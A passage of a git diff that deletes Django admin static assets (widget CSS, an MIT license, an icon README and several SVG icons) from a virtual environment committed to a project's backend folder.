5px}.select2-container--classic .select2-selection--multiple .select2-selection__choice__remove{color:#888;cursor:pointer;display:inline-block;font-weight:bold;margin-right:2px}.select2-container--classic .select2-selection--multiple .select2-selection__choice__remove:hover{color:#555}.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice{float:right;margin-left:5px;margin-right:auto}.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove{margin-left:2px;margin-right:auto}.select2-container--classic.select2-container--open .select2-selection--multiple{border:1px solid #5897fb}.select2-container--classic.select2-container--open.select2-container--above .select2-selection--multiple{border-top:none;border-top-left-radius:0;border-top-right-radius:0}.select2-container--classic.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--classic .select2-search--dropdown .select2-search__field{border:1px solid #aaa;outline:0}.select2-container--classic .select2-search--inline .select2-search__field{outline:0;box-shadow:none}.select2-container--classic .select2-dropdown{background-color:#fff;border:1px solid transparent}.select2-container--classic .select2-dropdown--above{border-bottom:none}.select2-container--classic .select2-dropdown--below{border-top:none}.select2-container--classic .select2-results>.select2-results__options{max-height:200px;overflow-y:auto}.select2-container--classic .select2-results__option[role=group]{padding:0}.select2-container--classic .select2-results__option[aria-disabled=true]{color:grey}.select2-container--classic .select2-results__option--highlighted[aria-selected]{background-color:#3875d7;color:#fff}.select2-container--classic .select2-results__group{cursor:default;display:block;padding:6px}.select2-container--classic.select2-container--open .select2-dropdown{border-color:#5897fb} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/widgets.css b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/widgets.css deleted file mode 100644 index 538af2eb..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/css/widgets.css +++ /dev/null @@ -1,613 +0,0 @@ -/* SELECTOR (FILTER INTERFACE) */ - -.selector { - display: flex; - flex: 1; - gap: 0 10px; -} - -.selector select { - height: 17.2em; - flex: 1 0 auto; - overflow: scroll; - width: 100%; -} - -.selector-available, .selector-chosen { - display: flex; - flex-direction: column; - flex: 1 1; -} - -.selector-available-title, .selector-chosen-title { - border: 1px solid var(--border-color); - border-radius: 4px 4px 0 0; -} - -.selector .helptext { - font-size: 0.6875rem; -} - -.selector-chosen .list-footer-display { - border: 1px solid var(--border-color); - border-top: none; - border-radius: 0 0 4px 4px; - margin: 0 0 10px; - padding: 8px; - text-align: center; - background: var(--primary); - color: var(--header-link-color); - cursor: pointer; -} -.selector-chosen .list-footer-display__clear { - color: var(--breadcrumbs-fg); -} - -.selector-chosen-title { - background: var(--secondary); - color: var(--header-link-color); - padding: 8px; -} - -.aligned .selector-chosen-title label { - color: var(--header-link-color); - width: 100%; -} - -.selector-available-title { - background: var(--darkened-bg); - color: var(--body-quiet-color); - padding: 8px; -} - -.aligned .selector-available-title label { - width: 100%; -} - -.selector .selector-filter { - border: 1px solid var(--border-color); - border-width: 0 1px; - padding: 8px; - color: var(--body-quiet-color); - font-size: 0.625rem; - margin: 0; - text-align: left; - display: flex; - gap: 8px; -} - -.selector .selector-filter label, -.inline-group .aligned .selector .selector-filter label { - float: left; - margin: 7px 0 0; - width: 18px; - height: 18px; - padding: 0; - overflow: hidden; - line-height: 1; - min-width: auto; -} - -.selector-filter input { - flex-grow: 1; -} - -.selector ul.selector-chooser { - align-self: center; - width: 30px; - background-color: var(--selected-bg); - border-radius: 10px; - margin: 0; - padding: 0; - transform: translateY(-17px); -} - -.selector-chooser li { - margin: 0; - padding: 3px; - list-style-type: none; -} - -.selector select { - padding: 0 10px; - margin: 0 0 10px; - border-radius: 0 0 4px 4px; -} -.selector .selector-chosen--with-filtered select { - margin: 0; - border-radius: 0; - height: 14em; -} - -.selector .selector-chosen:not(.selector-chosen--with-filtered) .list-footer-display { - display: none; -} - -.selector-add, .selector-remove { - width: 24px; - height: 24px; - display: block; - text-indent: -3000px; - overflow: hidden; - cursor: default; - opacity: 0.55; - border: none; -} - -:enabled.selector-add, :enabled.selector-remove { - opacity: 1; -} - -:enabled.selector-add:hover, :enabled.selector-remove:hover { - cursor: pointer; -} - -.selector-add { - background: url(../img/selector-icons.svg) 0 -144px no-repeat; - background-size: 24px auto; -} - -:enabled.selector-add:focus, :enabled.selector-add:hover { - background-position: 0 -168px; -} - -.selector-remove { - background: url(../img/selector-icons.svg) 0 -96px no-repeat; - background-size: 24px auto; -} - -:enabled.selector-remove:focus, :enabled.selector-remove:hover { - background-position: 0 -120px; -} - -.selector-chooseall, .selector-clearall { - display: inline-block; - height: 16px; - text-align: left; - margin: 0 auto; - overflow: hidden; - font-weight: bold; - line-height: 16px; - color: var(--body-quiet-color); - text-decoration: none; - opacity: 0.55; - border: none; -} - -:enabled.selector-chooseall:focus, :enabled.selector-clearall:focus, -:enabled.selector-chooseall:hover, :enabled.selector-clearall:hover { - color: var(--link-fg); -} - -:enabled.selector-chooseall, :enabled.selector-clearall { - opacity: 1; -} - -:enabled.selector-chooseall:hover, :enabled.selector-clearall:hover { - cursor: pointer; -} - -.selector-chooseall { - padding: 0 18px 0 0; - background: url(../img/selector-icons.svg) right -160px no-repeat; - cursor: default; -} - -:enabled.selector-chooseall:focus, :enabled.selector-chooseall:hover { - background-position: 100% -176px; -} - -.selector-clearall { - padding: 0 0 0 18px; - background: url(../img/selector-icons.svg) 0 -128px no-repeat; - cursor: default; -} - -:enabled.selector-clearall:focus, :enabled.selector-clearall:hover { - background-position: 0 -144px; -} - -/* STACKED SELECTORS */ - -.stacked { - float: left; - width: 490px; - display: block; -} - -.stacked select { - width: 480px; - height: 10.1em; -} - -.stacked .selector-available, .stacked .selector-chosen { - width: 480px; -} - -.stacked .selector-available { - margin-bottom: 0; -} - -.stacked .selector-available input { - width: 422px; -} - -.stacked ul.selector-chooser { - display: flex; - height: 30px; - width: 64px; - margin: 0 0 10px 40%; - background-color: #eee; - border-radius: 10px; - transform: none; -} - -.stacked .selector-chooser li { - float: left; - padding: 3px 3px 3px 5px; -} - -.stacked .selector-chooseall, .stacked .selector-clearall { - display: none; -} - -.stacked .selector-add { - background: url(../img/selector-icons.svg) 0 -48px no-repeat; - background-size: 24px auto; - cursor: default; -} - -.stacked :enabled.selector-add { - background-position: 0 -48px; - cursor: pointer; -} - -.stacked :enabled.selector-add:focus, .stacked :enabled.selector-add:hover { - background-position: 0 -72px; - cursor: pointer; -} - -.stacked .selector-remove { - background: url(../img/selector-icons.svg) 0 0 no-repeat; - background-size: 24px auto; - cursor: default; -} - -.stacked :enabled.selector-remove { - background-position: 0 0px; - cursor: pointer; -} - -.stacked :enabled.selector-remove:focus, .stacked :enabled.selector-remove:hover { - background-position: 0 -24px; - cursor: pointer; -} - -.selector .help-icon { - background: url(../img/icon-unknown.svg) 0 0 no-repeat; - display: inline-block; - vertical-align: middle; - margin: -2px 0 0 2px; - width: 13px; - height: 13px; -} - -.selector .selector-chosen .help-icon { - background: url(../img/icon-unknown-alt.svg) 0 0 no-repeat; -} - -.selector .search-label-icon { - background: url(../img/search.svg) 0 0 no-repeat; - display: inline-block; - height: 1.125rem; - width: 1.125rem; -} - -/* DATE AND TIME */ - -p.datetime { - line-height: 20px; - margin: 0; - padding: 0; - color: var(--body-quiet-color); - font-weight: bold; -} - -.datetime span { - white-space: nowrap; - font-weight: normal; - font-size: 0.6875rem; - color: var(--body-quiet-color); -} - -.datetime input, .form-row .datetime input.vDateField, .form-row .datetime input.vTimeField { - margin-left: 5px; - margin-bottom: 4px; -} - -table p.datetime { - font-size: 0.6875rem; - margin-left: 0; - padding-left: 0; -} - -.datetimeshortcuts .clock-icon, .datetimeshortcuts .date-icon { - position: relative; - display: inline-block; - vertical-align: middle; - height: 24px; - width: 24px; - overflow: hidden; -} - -.datetimeshortcuts .clock-icon { - background: url(../img/icon-clock.svg) 0 0 no-repeat; - background-size: 24px auto; -} - -.datetimeshortcuts a:focus .clock-icon, -.datetimeshortcuts a:hover .clock-icon { - background-position: 0 -24px; -} - -.datetimeshortcuts .date-icon { - background: url(../img/icon-calendar.svg) 0 0 no-repeat; - background-size: 24px auto; - top: -1px; -} - -.datetimeshortcuts a:focus .date-icon, -.datetimeshortcuts a:hover .date-icon { - background-position: 0 -24px; -} - -.timezonewarning { - font-size: 0.6875rem; - color: var(--body-quiet-color); -} - -/* URL */ - -p.url { - line-height: 20px; - margin: 0; - padding: 0; - color: var(--body-quiet-color); - font-size: 0.6875rem; - font-weight: bold; -} - -.url a { - font-weight: normal; -} - -/* FILE UPLOADS */ - -p.file-upload { - line-height: 20px; - margin: 0; - padding: 0; - color: var(--body-quiet-color); - font-size: 0.6875rem; - font-weight: bold; -} - -.file-upload a { - font-weight: normal; -} - -.file-upload .deletelink { - margin-left: 5px; -} - -span.clearable-file-input label { - color: var(--body-fg); - font-size: 0.6875rem; - display: inline; - float: none; -} - -/* CALENDARS & CLOCKS */ - -.calendarbox, .clockbox { - margin: 5px auto; - font-size: 0.75rem; - width: 19em; - text-align: center; - background: var(--body-bg); - color: var(--body-fg); - border: 1px solid var(--hairline-color); - border-radius: 4px; - box-shadow: 0 2px 4px rgba(0, 0, 0, 0.15); - overflow: hidden; - position: relative; -} - -.clockbox { - width: auto; -} - -.calendar { - margin: 0; - padding: 0; -} - -.calendar table { - margin: 0; - padding: 0; - border-collapse: collapse; - background: white; - width: 100%; -} - -.calendar caption, .calendarbox h2 { - margin: 0; - text-align: center; - border-top: none; - font-weight: 700; - font-size: 0.75rem; - color: #333; - background: var(--accent); -} - -.calendar th { - padding: 8px 5px; - background: var(--darkened-bg); - border-bottom: 1px solid var(--border-color); - font-weight: 400; - font-size: 0.75rem; - text-align: center; - color: var(--body-quiet-color); -} - -.calendar td { - font-weight: 400; - font-size: 0.75rem; - text-align: center; - padding: 0; - border-top: 1px solid var(--hairline-color); - border-bottom: none; -} - -.calendar td.selected a { - background: var(--secondary); - color: var(--button-fg); -} - -.calendar td.nonday { - background: var(--darkened-bg); -} - -.calendar td.today a { - font-weight: 700; -} - -.calendar td a, .timelist a { - display: block; - font-weight: 400; - padding: 6px; - text-decoration: none; - color: var(--body-quiet-color); -} - -.calendar td a:focus, .timelist a:focus, -.calendar td a:hover, .timelist a:hover { - background: var(--primary); - color: white; -} - -.calendar td a:active, .timelist a:active { - background: var(--header-bg); - color: white; -} - -.calendarnav { - font-size: 0.625rem; - text-align: center; - color: #ccc; - margin: 0; - padding: 1px 3px; -} - -.calendarnav a:link, #calendarnav a:visited, -#calendarnav a:focus, #calendarnav a:hover { - color: var(--body-quiet-color); -} - -.calendar-shortcuts { - background: var(--body-bg); - color: var(--body-quiet-color); - font-size: 0.6875rem; - line-height: 0.6875rem; - border-top: 1px solid var(--hairline-color); - padding: 8px 0; -} - -.calendarbox .calendarnav-previous, .calendarbox .calendarnav-next { - display: block; - position: absolute; - top: 8px; - width: 15px; - height: 15px; - text-indent: -9999px; - padding: 0; -} - -.calendarnav-previous { - left: 10px; - background: url(../img/calendar-icons.svg) 0 0 no-repeat; -} - -.calendarnav-next { - right: 10px; - background: url(../img/calendar-icons.svg) 0 -15px no-repeat; -} - -.calendar-cancel { - margin: 0; - padding: 4px 0; - font-size: 0.75rem; - background: var(--close-button-bg); - border-top: 1px solid var(--border-color); - color: var(--button-fg); -} - -.calendar-cancel:focus, .calendar-cancel:hover { - background: var(--close-button-hover-bg); -} - -.calendar-cancel a { - color: var(--button-fg); - display: block; -} - -ul.timelist, .timelist li { - list-style-type: none; - margin: 0; - padding: 0; -} - -.timelist a { - padding: 2px; -} - -/* EDIT INLINE */ - -.inline-deletelink { - float: right; - text-indent: -9999px; - background: url(../img/inline-delete.svg) 0 0 no-repeat; - width: 1.5rem; - height: 1.5rem; - border: 0px none; - margin-bottom: .25rem; -} - -.inline-deletelink:focus, .inline-deletelink:hover { - cursor: pointer; -} - -/* RELATED WIDGET WRAPPER */ -.related-widget-wrapper { - display: flex; - gap: 0 10px; - flex-grow: 1; - flex-wrap: wrap; - margin-bottom: 5px; -} - -.related-widget-wrapper-link { - opacity: .6; - filter: grayscale(1); -} - -.related-widget-wrapper-link:link { - opacity: 1; - filter: grayscale(0); -} - -/* GIS MAPS */ -.dj_map { - width: 600px; - height: 400px; -} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/LICENSE b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/LICENSE deleted file mode 100644 index a4faaa1d..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/LICENSE +++ /dev/null @@ -1,20 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2014 Code Charm Ltd - -Permission is hereby granted, free of charge, to any person obtaining a copy of -this software and associated documentation files (the "Software"), to deal in -the Software without restriction, including without limitation the rights to -use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of -the Software, and to permit persons to whom the Software is furnished to do so, -subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS -FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR -COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER -IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN -CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/README.txt b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/README.txt deleted file mode 100644 index bf81f35b..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/README.txt +++ /dev/null @@ -1,7 +0,0 @@ -All icons are taken from Font Awesome (https://fontawesome.com/) project. -The Font Awesome font is licensed under the SIL OFL 1.1: -- https://scripts.sil.org/OFL - -SVG icons source: https://github.com/encharm/Font-Awesome-SVG-PNG -Font-Awesome-SVG-PNG is licensed under the MIT license (see file license -in current folder). diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/calendar-icons.svg b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/calendar-icons.svg deleted file mode 100644 index 04c02741..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/calendar-icons.svg +++ /dev/null @@ -1,63 +0,0 @@ -<?xml version="1.0" encoding="UTF-8" standalone="no"?> -<svg - width="15" - height="30" - viewBox="0 0 1792 3584" - version="1.1" - id="svg5" - sodipodi:docname="calendar-icons.svg" - inkscape:version="1.3.2 (091e20ef0f, 2023-11-25, custom)" - xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape" - xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd" - xmlns:xlink="http://www.w3.org/1999/xlink" - xmlns="http://www.w3.org/2000/svg" - xmlns:svg="http://www.w3.org/2000/svg"> - <sodipodi:namedview - id="namedview5" - pagecolor="#ffffff" - bordercolor="#666666" - borderopacity="1.0" - inkscape:showpageshadow="2" - inkscape:pageopacity="0.0" - inkscape:pagecheckerboard="0" - inkscape:deskcolor="#d1d1d1" - showgrid="false" - inkscape:zoom="13.3" - inkscape:cx="15.526316" - inkscape:cy="20.977444" - inkscape:window-width="1920" - inkscape:window-height="1011" - inkscape:window-x="0" - inkscape:window-y="0" - inkscape:window-maximized="1" - inkscape:current-layer="svg5" /> - <defs - id="defs2"> - <g - id="previous"> - <path - d="m 1037,1395 102,-102 q 19,-19 19,-45 0,-26 -19,-45 L 832,896 1139,589 q 19,-19 19,-45 0,-26 -19,-45 L 1037,397 q -19,-19 -45,-19 -26,0 -45,19 L 493,851 q -19,19 -19,45 0,26 19,45 l 454,454 q 19,19 45,19 26,0 45,-19 z m 627,-499 q 0,209 -103,385.5 Q 1458,1458 1281.5,1561 1105,1664 896,1664 687,1664 510.5,1561 334,1458 231,1281.5 128,1105 128,896 128,687 231,510.5 334,334 510.5,231 687,128 896,128 1105,128 1281.5,231 1458,334 1561,510.5 1664,687 1664,896 Z" - id="path1" /> - </g> - <g - id="next"> - <path - d="m 845,1395 454,-454 q 19,-19 19,-45 0,-26 -19,-45 L 845,397 q -19,-19 -45,-19 -26,0 -45,19 L 653,499 q -19,19 -19,45 0,26 19,45 l 307,307 -307,307 q -19,19 -19,45 0,26 19,45 l 102,102 q 19,19 45,19 26,0 45,-19 z m 819,-499 q 0,209 -103,385.5 Q 1458,1458 1281.5,1561 1105,1664 896,1664 687,1664 510.5,1561 334,1458 231,1281.5 128,1105 128,896 128,687 231,510.5 334,334 510.5,231 687,128 896,128 1105,128 1281.5,231 1458,334 1561,510.5 1664,687 1664,896 Z" - id="path2" /> - </g> - </defs> - <use - xlink:href="#next" - x="0" - y="5376" - fill="#000000" - id="use5" - transform="translate(0,-3584)" /> - <use - xlink:href="#previous" - x="0" - y="0" - fill="#333333" - id="use2" - style="fill:#000000;fill-opacity:1" /> -</svg> diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/gis/move_vertex_off.svg b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/gis/move_vertex_off.svg deleted file mode 100644 index 228854f3..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/gis/move_vertex_off.svg +++ /dev/null @@ -1 +0,0 @@ -<svg width="24" height="22" viewBox="0 0 847 779" xmlns="http://www.w3.org/2000/svg"><g><path fill="#EBECE6" d="M120 1h607c66 0 120 54 120 120v536c0 66-54 120-120 120h-607c-66 0-120-54-120-120v-536c0-66 54-120 120-120z"/><path fill="#9E9E93" d="M120 1h607c66 0 120 54 120 120v536c0 66-54 120-120 120h-607c-66 0-120-54-120-120v-536c0-66 54-120 120-120zm607 25h-607c-26 0-50 11-67 28-17 18-28 41-28 67v536c0 27 11 50 28 68 17 17 41 27 67 27h607c26 0 49-10 67-27 17-18 28-41 28-68v-536c0-26-11-49-28-67-18-17-41-28-67-28z"/><path stroke="#A9A8A4" stroke-width="20" d="M706 295l-68 281"/><path stroke="#E47474" stroke-width="20" d="M316 648l390-353M141 435l175 213"/><path stroke="#C9C9C9" stroke-width="20" d="M319 151l-178 284M706 295l-387-144"/><g fill="#040405"><path d="M319 111c22 0 40 18 40 40s-18 40-40 40-40-18-40-40 18-40 40-40zM141 395c22 0 40 18 40 40s-18 40-40 40c-23 0-41-18-41-40s18-40 41-40zM316 608c22 0 40 18 40 40 0 23-18 41-40 41s-40-18-40-41c0-22 18-40 40-40zM706 254c22 0 40 18 40 41 0 22-18 40-40 40s-40-18-40-40c0-23 18-41 40-41zM638 536c22 0 40 18 40 40s-18 40-40 40-40-18-40-40 18-40 40-40z"/></g></g></svg> \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/gis/move_vertex_on.svg b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/gis/move_vertex_on.svg deleted file mode 100644 index 96b87fdd..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/gis/move_vertex_on.svg +++ /dev/null @@ -1 +0,0 @@ -<svg width="24" height="22" viewBox="0 0 847 779" xmlns="http://www.w3.org/2000/svg"><g><path fill="#F1C02A" d="M120 1h607c66 0 120 54 120 120v536c0 66-54 120-120 120h-607c-66 0-120-54-120-120v-536c0-66 54-120 120-120z"/><path fill="#9E9E93" d="M120 1h607c66 0 120 54 120 120v536c0 66-54 120-120 120h-607c-66 0-120-54-120-120v-536c0-66 54-120 120-120zm607 25h-607c-26 0-50 11-67 28-17 18-28 41-28 67v536c0 27 11 50 28 68 17 17 41 27 67 27h607c26 0 49-10 67-27 17-18 28-41 28-68v-536c0-26-11-49-28-67-18-17-41-28-67-28z"/><path stroke="#A9A8A4" stroke-width="20" d="M706 295l-68 281"/><path stroke="#E47474" stroke-width="20" d="M316 648l390-353M141 435l175 213"/><path stroke="#C9A741" stroke-width="20" d="M319 151l-178 284M706 295l-387-144"/><g fill="#040405"><path d="M319 111c22 0 40 18 40 40s-18 40-40 40-40-18-40-40 18-40 40-40zM141 395c22 0 40 18 40 40s-18 40-40 40c-23 0-41-18-41-40s18-40 41-40zM316 608c22 0 40 18 40 40 0 23-18 41-40 41s-40-18-40-41c0-22 18-40 40-40zM706 254c22 0 40 18 40 41 0 22-18 40-40 40s-40-18-40-40c0-23 18-41 40-41zM638 536c22 0 40 18 40 40s-18 40-40 40-40-18-40-40 18-40 40-40z"/></g></g></svg> \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-addlink.svg b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-addlink.svg deleted file mode 100644 index 8d5c6a3a..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-addlink.svg +++ /dev/null @@ -1,3 +0,0 @@ -<svg width="13" height="13" viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"> - <path fill="#5fa225" d="M1600 796v192q0 40-28 68t-68 28h-416v416q0 40-28 68t-68 28h-192q-40 0-68-28t-28-68v-416h-416q-40 0-68-28t-28-68v-192q0-40 28-68t68-28h416v-416q0-40 28-68t68-28h192q40 0 68 28t28 68v416h416q40 0 68 28t28 68z"/> -</svg> diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-alert.svg b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-alert.svg deleted file mode 100644 index e51ea83f..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-alert.svg +++ /dev/null @@ -1,3 +0,0 @@ -<svg width="14" height="14" viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"> - <path fill="#efb80b" d="M1024 1375v-190q0-14-9.5-23.5t-22.5-9.5h-192q-13 0-22.5 9.5t-9.5 23.5v190q0 14 9.5 23.5t22.5 9.5h192q13 0 22.5-9.5t9.5-23.5zm-2-374l18-459q0-12-10-19-13-11-24-11h-220q-11 0-24 11-10 7-10 21l17 457q0 10 10 16.5t24 6.5h185q14 0 23.5-6.5t10.5-16.5zm-14-934l768 1408q35 63-2 126-17 29-46.5 46t-63.5 17h-1536q-34 0-63.5-17t-46.5-46q-37-63-2-126l768-1408q17-31 47-49t65-18 65 18 47 49z"/> -</svg> diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-calendar.svg b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-calendar.svg deleted file mode 100644 index 97910a99..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-calendar.svg +++ /dev/null @@ -1,9 +0,0 @@ -<svg width="16" height="32" viewBox="0 0 1792 3584" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> - <defs> - <g id="icon"> - <path d="M192 1664h288v-288h-288v288zm352 0h320v-288h-320v288zm-352-352h288v-320h-288v320zm352 0h320v-320h-320v320zm-352-384h288v-288h-288v288zm736 736h320v-288h-320v288zm-384-736h320v-288h-320v288zm768 736h288v-288h-288v288zm-384-352h320v-320h-320v320zm-352-864v-288q0-13-9.5-22.5t-22.5-9.5h-64q-13 0-22.5 9.5t-9.5 22.5v288q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5-9.5t9.5-22.5zm736 864h288v-320h-288v320zm-384-384h320v-288h-320v288zm384 0h288v-288h-288v288zm32-480v-288q0-13-9.5-22.5t-22.5-9.5h-64q-13 0-22.5 9.5t-9.5 22.5v288q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5-9.5t9.5-22.5zm384-64v1280q0 52-38 90t-90 38h-1408q-52 0-90-38t-38-90v-1280q0-52 38-90t90-38h128v-96q0-66 47-113t113-47h64q66 0 113 47t47 113v96h384v-96q0-66 47-113t113-47h64q66 0 113 47t47 113v96h128q52 0 90 38t38 90z"/> - </g> - </defs> - <use xlink:href="#icon" x="0" y="0" fill="#447e9b" /> - <use xlink:href="#icon" x="0" y="1792" fill="#003366" /> -</svg> diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-changelink.svg b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-changelink.svg deleted file mode 100644 index 592b093b..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-changelink.svg +++ /dev/null @@ -1,3 +0,0 @@ -<svg width="13" height="13" viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"> - <path fill="#b48c08" d="M491 1536l91-91-235-235-91 91v107h128v128h107zm523-928q0-22-22-22-10 0-17 7l-542 542q-7 7-7 17 0 22 22 22 10 0 17-7l542-542q7-7 7-17zm-54-192l416 416-832 832h-416v-416zm683 96q0 53-37 90l-166 166-416-416 166-165q36-38 90-38 53 0 91 38l235 234q37 39 37 91z"/> -</svg> diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-clock.svg b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-clock.svg deleted file mode 100644 index bf9985d3..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-clock.svg +++ /dev/null @@ -1,9 +0,0 @@ -<svg width="16" height="32" viewBox="0 0 1792 3584" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> - <defs> - <g id="icon"> - <path d="M1024 544v448q0 14-9 23t-23 9h-320q-14 0-23-9t-9-23v-64q0-14 9-23t23-9h224v-352q0-14 9-23t23-9h64q14 0 23 9t9 23zm416 352q0-148-73-273t-198-198-273-73-273 73-198 198-73 273 73 273 198 198 273 73 273-73 198-198 73-273zm224 0q0 209-103 385.5t-279.5 279.5-385.5 103-385.5-103-279.5-279.5-103-385.5 103-385.5 279.5-279.5 385.5-103 385.5 103 279.5 279.5 103 385.5z"/> - </g> - </defs> - <use xlink:href="#icon" x="0" y="0" fill="#447e9b" /> - <use xlink:href="#icon" x="0" y="1792" fill="#003366" /> -</svg> diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-deletelink.svg b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-deletelink.svg deleted file mode 100644 index 4059b155..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-deletelink.svg +++ /dev/null @@ -1,3 +0,0 @@ -<svg width="14" height="14" viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"> - <path fill="#dd4646" d="M1490 1322q0 40-28 68l-136 136q-28 28-68 28t-68-28l-294-294-294 294q-28 28-68 28t-68-28l-136-136q-28-28-28-68t28-68l294-294-294-294q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 294 294-294q28-28 68-28t68 28l136 136q28 28 28 68t-28 68l-294 294 294 294q28 28 28 68z"/> -</svg> diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-hidelink.svg b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-hidelink.svg deleted file mode 100644 index 2a8b404b..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-hidelink.svg +++ /dev/null @@ -1,3 +0,0 @@ -<svg width="13" height="13" viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"> - <path fill="#2b70bf" d="m555 1335 78-141q-87-63-136-159t-49-203q0-121 61-225-229 117-381 353 167 258 427 375zm389-759q0-20-14-34t-34-14q-125 0-214.5 89.5T592 832q0 20 14 34t34 14 34-14 14-34q0-86 61-147t147-61q20 0 34-14t14-34zm363-191q0 7-1 9-105 188-315 566t-316 567l-49 89q-10 16-28 16-12 0-134-70-16-10-16-28 0-12 44-87-143-65-263.5-173T20 1029Q0 998 0 960t20-69q153-235 380-371t496-136q89 0 180 17l54-97q10-16 28-16 5 0 18 6t31 15.5 33 18.5 31.5 18.5T1291 358q16 10 16 27zm37 447q0 139-79 253.5T1056 1250l280-502q8 45 8 84zm448 128q0 35-20 69-39 64-109 145-150 172-347.5 267T896 1536l74-132q212-18 392.5-137T1664 960q-115-179-282-294l63-112q95 64 182.5 153T1772 891q20 34 20 69z"/> -</svg> diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-no.svg b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-no.svg deleted file mode 100644 index 2e0d3832..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-no.svg +++ /dev/null @@ -1,3 +0,0 @@ -<svg width="13" height="13" viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"> - <path fill="#dd4646" d="M1277 1122q0-26-19-45l-181-181 181-181q19-19 19-45 0-27-19-46l-90-90q-19-19-46-19-26 0-45 19l-181 181-181-181q-19-19-45-19-27 0-46 19l-90 90q-19 19-19 46 0 26 19 45l181 181-181 181q-19 19-19 45 0 27 19 46l90 90q19 19 46 19 26 0 45-19l181-181 181 181q19 19 45 19 27 0 46-19l90-90q19-19 19-46zm387-226q0 209-103 385.5t-279.5 279.5-385.5 103-385.5-103-279.5-279.5-103-385.5 103-385.5 279.5-279.5 385.5-103 385.5 103 279.5 279.5 103 385.5z"/> -</svg> diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-unknown-alt.svg b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-unknown-alt.svg deleted file mode 100644 index 1c6b99fc..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/img/icon-unknown-alt.svg +++ /dev/null @@ -1,3 +0,0 @@ -<svg width="13" height="13" viewBox="0 0 1792 1792" 